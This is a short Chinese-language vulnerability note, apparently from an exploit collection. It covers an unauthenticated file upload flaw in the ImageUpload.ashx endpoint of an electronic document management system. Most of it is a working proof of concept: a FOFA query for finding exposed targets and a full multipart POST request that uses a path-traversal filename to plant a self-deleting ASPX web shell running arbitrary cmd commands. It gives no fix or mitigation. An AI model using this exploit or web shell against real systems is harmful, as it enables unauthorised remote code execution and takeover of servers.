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电子资料管理系统ImageUpload.ashx文件上传漏洞.md

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电子资料管理系统ImageUpload.ashx文件上传漏洞

电子资料管理系统 /Menu/ImageManger/ImageUpload.ashx 接口存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

fofa

body="Menu/Login/ThirdLoginHandler.ashx"

poc

POST /Menu/ImageManger/ImageUpload.ashx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="isUpload"

印章图片
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="entid"

666
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="Type"

1
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="Filedata"; filename="../rce.aspx"
Content-Type: text/plain

<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------WebKitFormBoundaryssh7UfnPpGU7BXfK--

image-20241128165016950

文件路径：http://127.0.0.1/rce.aspx